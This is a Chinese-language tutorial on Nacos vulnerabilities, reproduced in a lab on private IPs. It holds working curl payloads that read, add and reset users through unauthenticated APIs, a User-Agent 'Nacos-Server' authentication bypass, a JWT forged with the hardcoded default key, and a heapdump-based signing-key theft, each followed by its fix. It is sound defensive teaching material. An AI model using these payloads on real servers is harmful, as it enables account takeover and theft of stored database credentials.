Web 安全:Nacos 常见漏洞总结

Nacos是一个开源的动态服务发现、配置和服务管理平台,支持多种语言和框架。

  • 分布式架构:Nacos 是基于分布式架构设计,可以轻松应对高并发、高可靠性、高扩展性等分布式应用场景。
  • 注册服务发现功能:可以让服务自动注册到 Nacos 服务注册中心,并提供了多种服务发现方式,包括 DNS、HTTP 和 gRPC 等。
  • 动态配置:动态配置功能可以帮助应用程序在运行时动态地获取配置信息,从而避免了重启应用程序的需要。

不使用Nacos,直接将数据库连接信息写在配置文件或后端源码中,其存在以下问题:

  • 安全性问题:数据库连接信息写在配置文件中,容易被恶意用户获取,造成数据泄露等安全问题。

  • 维护成本高:如果数据库连接信息发生变化,需要修改多个配置文件,而且每次修改都需要重新打包和部署应用程序,增加了维护成本。

业务系统使用Nacos是为了简化开发运维流程,但会将数据库连接信息等重要数据存储在存在安全风险的Nacos中,会严重影响业务系统安全性。

部署Nacos单节点测试环境

shell

# 下载Nacos
wget https://github.com/alibaba/nacos/releases/download/2.0.2/nacos-server-2.0.2.zip
# Nacos依赖JAVA环境,安装OpenJDK
dnf -y install java-1.8.0-openjdk java-1.8.0-openjdk-devel.x86_64
# 解压
unzip nacos-server-2.0.2.zip
# 进入bin目录,单节点启动Nacos
cd nacos/bin/
./startup.sh -m standalone
# 此时查看本机监听端口,发现8848端口为LISTEN状态,证明Nacos启动成功
netstat -panut | grep 8848

注:此处使用的是Fedora 35,若无特殊说明,Nacos版本为2.0.2。若使用Windows进行复现,请自行安装JDK并配置环境变量。

若只需要复现漏洞,则只进行上面安装配置启动即可,后面的【不使用Nacos的场景】和【使用Nacos的场景】两小节只便于理解Nacos使用场景,跳过并不影响漏洞复现。

不使用Nacos,开发者将数据库连接信息直接写在后端源码或者配置文件中。

shell

# 连接MariaDB需要安装下面的Python依赖
pip install pymysql
pip install SQLAlchemy

python

#! /usr/bin/python3
   
from sqlalchemy import create_engine
from sqlalchemy import text

engine = create_engine("mysql+pymysql://root:toor@172.22.19.89:3306/learn")

sql_query = "select version()"

def exec(sql_query):
    with engine.connect() as conn:
        resu_proxy = conn.execute(text(sql_query))
        sql_resu = resu_proxy.fetchall()
        return sql_resu

if __name__ == "__main__":
    print(exec(sql_query))

执行上面的Python3脚本,输出当前数据库的版本信息,成功连接数据库。

shell

[root@JJY ~]# ./sql_base.py
[('10.5.18-MariaDB',)]
  1. 登录Nacos控制台:浏览器访问http://172.22.19.89:8848/nacos,输入用户名nacos,密码nacos登录。

  2. 创建配置:配置管理配置列表–左上角加号 新建配置,填写DataID和Group,配置类型选择JSON,填写如下配置内容,点击发布。

注:此处配置的的DataID为1,Group为默认的DEFAULT_GROUP

json

{
  "host": "172.22.19.89",
  "port": 3306,
  "user": "root",
  "password": "toor",
  "database": "learn"
}
  1. Python连接Nacos需要依赖Nacos-SDK

shell

# 安装Nacos SDK
pip install nacos-sdk-python
  1. Python通过Nacos中的数据库配置信息连接MySQL,不将数据库连接信息写到配置文件或者后端源码中。

python

#! /usr/bin/python3

from nacos import NacosClient
import json
from sqlalchemy import create_engine
from sqlalchemy import text

# Nacos连接信息
client = NacosClient('172.22.19.89:8848', username='nacos', password='nacos')
# Nacos数据库配置的DataID和所属组
data_id = '1'
group = 'DEFAULT_GROUP'
# 读取Nacos中的MySQL的连接配置信息
mysql_conf_json = client.get_config(data_id, group)
# JSON解析配置
mysql_conf = json.loads(mysql_conf_json)
# 连接MySQL
engine = create_engine(f"mysql+pymysql://{mysql_conf['user']}:{mysql_conf['password']}@{mysql_conf['host']}:{mysql_conf['port']}/{mysql_conf['database']}")

# 执行语句,返回执行结果
sql_query = "select version()"
def exec(sql_query):
    with engine.connect() as conn:
        resu_proxy = conn.execute(text(sql_query))
        sql_resu = resu_proxy.fetchall()
        return sql_resu

if __name__ == "__main__":
    # 可以打印MySQL的连接信息
    print(engine)
    print(exec(sql_query))
  1. 执行上述脚本,利用Nacos中的数据库配置连接数据库,输出当前数据库的版本信息。

shell

[root@JJY ~]# ./nacos_base.py
Engine(mysql+pymysql://root:***@172.22.19.89:3306/learn)
[('10.5.18-MariaDB',)]

通过上述过程,可了解数据库连接配置信息写在后端源码中和写在Nacos中的区别。


无需登录Nacos Web管理页,通过浏览器或CURL等工具访问下面的URL,返回结果中的Version字段值即为Nacos的版本号信息。

shell

http://172.22.30.172:8848/nacos/v1/console/server/state

bash

[root@JJY ~]# curl http://172.22.30.172:8848/nacos/v1/console/server/state
{"version":"2.0.2","standalone_mode":"standalone","function_mode":null}

Nacos默认情况下存在弱口令,攻击者可使用用户名 nacos,密码 nacos 登录系统后台,获取敏感信息。

浏览器访问 http://nacos_ip:8848/nacos/ 可访问Nacos Web管理页面,输入用户名nacos,密码nacos即可成功登录。登录后可查看配置信息,配置信息中可能存在数据库连接信息。

修改默认密码。登录后台管理页面,鼠标移动至右上角用户名nacos处,点击 修改密码 ,输入要修改的密码,点击确认即可。


Nacos默认情况下未开启API鉴权,攻击者可直接调用API进行读取用户信息、添加用户、修改用户密码等操作,进而通过合法用户登录系统后台。

测试Payload如下

shell

# 读取用户账号信息
curl 'http://172.22.23.222:8848/nacos/v1/auth/users?pageNo=1&pageSize=9'
# 添加用户
curl -X POST 'http://172.22.23.222:8848/nacos/v1/auth/users?username=nine&password=nine'
# 修改任意用户密码
curl -X PUT 'http://172.22.23.222:8848/nacos/v1/auth/users?username=nine&newPassword=999nine'

若执行结果如下,则证明该漏洞存在,Nacos API未开启鉴权。

shell

# 读取用户账号信息
[root@JJY ~]# curl 'http://172.22.20.199:8848/nacos/v1/auth/users?pageNo=1&pageSize=9'
{"totalCount":1,"pageNumber":1,"pagesAvailable":1,"pageItems":[{"username":"nacos","password":"$2a$10$z.5brrb/lR8TnZsyEpOOdOicODRnHuhc.l5Ibmd6VRcLkhL0/xqE6"}]}
# 添加用户
[root@JJY ~]# curl -X POST 'http://172.22.20.199:8848/nacos/v1/auth/users?username=nine&password=nine'
{"code":200,"message":null,"data":"create user ok!"}
# 修改任意用户密码
[root@JJY ~]# curl -X PUT 'http://172.22.20.199:8848/nacos/v1/auth/users?username=nine&newPassword=9nine'
{"code":200,"message":null,"data":"update user ok!"}

若执行结果如下(返回结果中存在"status":403),则证明该漏洞不存在。

shell

[root@ALMA ~]# curl 'http://172.22.23.222:8848/nacos/v1/auth/users?pageNo=1&pageSize=9'
{"timestamp":"2023-04-06T10:21:40.355+08:00","status":403,"error":"Forbidden","message":"unknown user!","path":"/nacos/v1/auth/users"}
[root@ALMA ~]# curl -X POST 'http://172.22.23.222:8848/nacos/v1/auth/users?username=nine&password=nine'
{"timestamp":"2023-04-06T10:21:43.517+08:00","status":403,"error":"Forbidden","message":"unknown user!","path":"/nacos/v1/auth/users"}
[root@ALMA ~]# curl -X PUT 'http://172.22.23.222:8848/nacos/v1/auth/users?username=nine&newPassword=9nine'
{"timestamp":"2023-04-06T10:22:00.608+08:00","status":403,"error":"Forbidden","message":"unknown user!","path":"/nacos/v1/auth/users"}

开启鉴权,将配置文件 nacos/conf/application.properties 下的 nacos.core.auth.enabled 配置项修改为 true 即可,修改后无需重启Nacos。

properties

nacos.core.auth.enabled=true

附:官方鉴权文档 Authorization


Nacos服务器通过User-Agent白名单进行服务器间通信鉴权。攻击者可以通过修改HTTP请求报文中User-Agent字段为 Nacos-Server ,利用UA白名单绕过API鉴权,直接调用API。

注:该漏洞通过修改UA,让Nacos服务器误以为攻击者是其他Nacos服务器,从而绕过API鉴权,利用方式和上面第2个漏洞相同。

Nacos = 2.0.0-ALPHA.1

Nacos =< 1.4.0

注:需下载受该漏洞影响的Nacos版本进行复现,笔者使用的是1.4.0。下载后在配置中开启API鉴权,修改配置文件 nacos/conf/application.propertiesnacos.core.auth.enabled 配置项的值为 true

测试Payload如下,和上面第2个漏洞类似,只是HTTP请求报文中多添加了一个请求头User-Agent,内容为 Nacos-Server

shell

# 读取用户账号信息
curl -H 'User-Agent: Nacos-Server' 'http://172.22.23.222:8848/nacos/v1/auth/users?pageNo=1&pageSize=9'
# 添加用户
curl -H 'User-Agent: Nacos-Server' -X POST 'http://172.22.23.222:8848/nacos/v1/auth/users?username=nine&password=nine'
# 修改任意用户密码
curl -H 'User-Agent: Nacos-Server' -X PUT 'http://172.22.23.222:8848/nacos/v1/auth/users?username=nine&newPassword=999nine'

实际测试结果如下:

shell

# 不添加User-Agent,无法直接调用API。
[root@JJY conf]# curl 'http://172.22.23.222:8848/nacos/v1/auth/users?pageNo=1&pageSize=9'
{"timestamp":"2023-04-06T06:21:31.718+0000","status":403,"error":"Forbidden","message":"unknown user!","path":"/nacos/v1/auth/users"}
# 添加User-Agent,值为Nacos-Server,成功读取用户信息
[root@JJY conf]# curl -H 'User-Agent: Nacos-Server' 'http://172.22.23.222:8848/nacos/v1/auth/users?pageNo=1&pageSize=9'
{"totalCount":1,"pageNumber":1,"pagesAvailable":1,"pageItems":[{"username":"nacos","password":"$2a$10$EuWPZHzz32dJN7jexM34MOeYirDdFAZm2kuWj7VEOJhhZkDrxfvUu"}]}

附:该漏洞的Github Issue

更新Nacos版本 >= 1.4.1


Nacos配置文件中的Json Web Token签名密钥为硬编码的默认密钥。攻击者可以利用该默认密钥在本地生成JSON Web Token,进而绕过用户密码认证直接进入Nacos管理后台,进行查看、修改、删除用户数据库配置等操作。

Nacos登录流程如下图所示。

当正常用户通过账号密码认证成功登录后,Nacos后端会使用登录用户名、Token存活时间戳和JWT签名密钥这三个因子,为用户生成Token。浏览器会将该Token存储到用户浏览器缓存中,后续请求浏览器会自动携带该Token,从而记住用户登录状态。但由于JWT签名密钥是硬编码的默认密钥,用户名和时间戳可以自行填写,则在本地可以生成认证Token,进而绕过用户名密码认证。

0.1.0 <= Nacos < 2.2.0.1

复现前在配置中开启API鉴权,修改配置文件 nacos/conf/application.propertiesnacos.core.auth.enabled 配置项的值为 true

  1. 选择一个大于当前时间的时间戳,作为Token存活时间,大于该时间后Token将失效,可以使用时间戳转换工具自行生成。此处使用的时间戳为 1680940130

  2. 使用JWT在线生成工具生成Token,其中HEADER保持不变,PAYLOAD内容为 {"sub": "nacos","exp": 1680940130} ,其中sub值为Nacos用户名称,exp值为时间戳。VERIFY SIGNATURE即签名密钥内容为 SecretKey012345678901234567890123456789012345678901234567890123456789 ,勾选secret base64 encoded

  1. 构造本地Token,将生成的Json Web Token作为Value,accessToken作为Key构造一个JSON字符串,其中Key和Value都是字符串类型,构造好的格式如下:

json

{"accessToken":"eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiJuYWNvcyIsImV4cCI6MTY4MDk0MDEzMH0.o7ZwqMr12gyg8yLnQvrCXmNaAId7Cst7DDkWbiukLuw"}
  1. 将构造的Token填入浏览器本地存储空间中,密钥键为 token ,值为刚刚构造的JSON字符串。

  1. 刷新浏览器,成功绕过用户认证,直接进入Nacos管理页。

修改JWT默认签名密钥,即配置文件 nacos/conf/application.properties 下的 nacos.core.auth.default.token.secret.key 配置项。官方推荐将该项设置为Base64编码的字符串,且原始密钥长度不得低于32字符。

详细信息可参考官方文档权限认证-自定义密钥的内容和官方风险说明及解决方案


默认情况下Nacos的Spring Boot Actuator未合理配置权限,即使开发人员修改了JWT签名密钥,攻击者还是可以通过Spring Boot Actuator 未授权访问漏洞获取JWT签名密钥,利用签名密钥在本地生成JSON Web Token。进而绕过用户名密码认证。

? <= Nacos < 2.1.0

注:根据官方Github Issues中开发者的回复,Nacos 2.1.0 版本以及以后,默认关闭了actuator敏感端点的访问,实测2.0.2、2.0.4版本可以通过Spring Boot Actuator未授权访问漏洞下载heapdump从而获取JWT签名密钥,2.1.0版本默认无法下载heapdump。

  1. 模拟用户修改了JWT签名密钥,且开启鉴权:

使用Nacos 2.0.4进行复现,修改nacos/conf/application.properties 下的鉴权配置项和签名密钥配置项,可以通过UUID + Base64的方式生成随机签名密钥。

shell

[root@JJY conf]# cat /proc/sys/kernel/random/uuid | base64
NzZjMmNhYTUtYTU4OC00NDVmLWIxZWMtYTM1NDQ0YmE1NTExCg==

shell

### 开启鉴权
nacos.core.auth.enabled=true

### 修改默认的JWT签名密钥
nacos.core.auth.default.token.secret.key=NzZjMmNhYTUtYTU4OC00NDVmLWIxZWMtYTM1NDQ0YmE1NTExCg==
  1. 尝试访问/actuator路径,查看是否存在Spring Boot Actuator敏感路径:

shell

http://172.22.30.172:8848/nacos/actuator

shell

[root@JJY conf]# curl http://172.22.30.172:8848/nacos/actuator
{"_links":{"self":{"href":"http://172.22.30.172:8848/nacos/actuator","templated":false},"auditevents":{"href":"http://172.22.30.172:8848/nacos/actuator/auditevents","templated":false},"beans":{"href":"http://172.22.30.172:8848/nacos/actuator/beans","templated":false},"caches":{"href":"http://172.22.30.172:8848/nacos/actuator/caches","templated":false},"caches-cache":{"href":"http://172.22.30.172:8848/nacos/actuator/caches/{cache}","templated":true},"health-component-instance":{"href":"http://172.22.30.172:8848/nacos/actuator/health/{component}/{instance}","templated":true},"health-component":{"href":"http://172.22.30.172:8848/nacos/actuator/health/{component}","templated":true},"health":{"href":"http://172.22.30.172:8848/nacos/actuator/health","templated":false},"conditions":{"href":"http://172.22.30.172:8848/nacos/actuator/conditions","templated":false},"configprops":{"href":"http://172.22.30.172:8848/nacos/actuator/configprops","templated":false},"env-toMatch":{"href":"http://172.22.30.172:8848/nacos/actuator/env/{toMatch}","templated":true},"env":{"href":"http://172.22.30.172:8848/nacos/actuator/env","templated":false},"info":{"href":"http://172.22.30.172:8848/nacos/actuator/info","templated":false},"loggers":{"href":"http://172.22.30.172:8848/nacos/actuator/loggers","templated":false},"loggers-name":{"href":"http://172.22.30.172:8848/nacos/actuator/loggers/{name}","templated":true},"heapdump":{"href":"http://172.22.30.172:8848/nacos/actuator/heapdump","templated":false},"threaddump":{"href":"http://172.22.30.172:8848/nacos/actuator/threaddump","templated":false},"prometheus":{"href":"http://172.22.30.172:8848/nacos/actuator/prometheus","templated":false},"metrics-requiredMetricName":{"href":"http://172.22.30.172:8848/nacos/actuator/metrics/{requiredMetricName}","templated":true},"metrics":{"href":"http://172.22.30.172:8848/nacos/actuator/metrics","templated":false},"scheduledtasks":{"href":"http://172.22.30.172:8848/nacos/actuator/scheduledtasks","templated":false},"httptrace":{"href":"http://172.22.30.172:8848/nacos/actuator/httptrace","templated":false},"mappings":{"href":"http://172.22.30.172:8848/nacos/actuator/mappings","templated":false}}}

发现存在actuator/env、actuator/heapdump等敏感路径。

  1. 访问actuator/heapdump路径,下载heapdump内存堆转储文件。

bash

http://172.22.30.172:8848/nacos/actuator/heapdump

bash

[root@JJY ~]# wget http://172.22.30.172:8848/nacos/actuator/heapdump
--2023-04-17 16:15:49--  http://172.22.30.172:8848/nacos/actuator/heapdump
Connecting to 172.22.30.172:8848... connected.
HTTP request sent, awaiting response... 200
Length: 106098459 (101M) [application/octet-stream]
Saving to: ‘heapdump’

heapdump         100%[======================>] 101.18M   208MB/s    in 0.5s

2023-04-17 16:15:51 (208 MB/s) - ‘heapdump’ saved [106098459/106098459]
  1. 使用Eclipce MemoryAnalyzer打开heapdump文件进行分析。

FileOpen Heap Dump — 在弹出的会话框右下角选择文件类型为 All Files ,选择刚刚下载的heapdump文件,点击 打开

OQL — 输入查询语句 — 点击红色叹号运行语句,查询语句如下

sql

select * from java.util.LinkedHashMap$Entry x WHERE (toString(x.key).contains("secret.key")))

  1. 通过JWT签名密钥生成Json Web Token

获取到的JWT签名密钥为 NzZjMmNhYTUtYTU4OC00NDVmLWIxZWMtYTM1NDQ0YmE1NTExCg==,根据该密钥生成Json Web Token

text

{"accessToken":"eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiJuYWNvcyIsImlhdCI6MTY5NjIzOTAyMn0.PJcQf7vYsWJ1lfq16vypmWpHOem_bKWooMuz_mPrFvQ"}
  1. 通过Json Web Token登录Nacos Web管理页:

修改配置文件 nacos/conf/application.properties 下的 management.endpoints.web.exposure.include 配置项的值为空。

properties

management.endpoints.web.exposure.include=

附:Github Issue

nacos 2.2.0 prometheus路由404 · Issue #10243 · alibaba/nacos · GitHub

/actuator/env 可以读取到系统配置 · Issue #5868 · alibaba/nacos · GitHub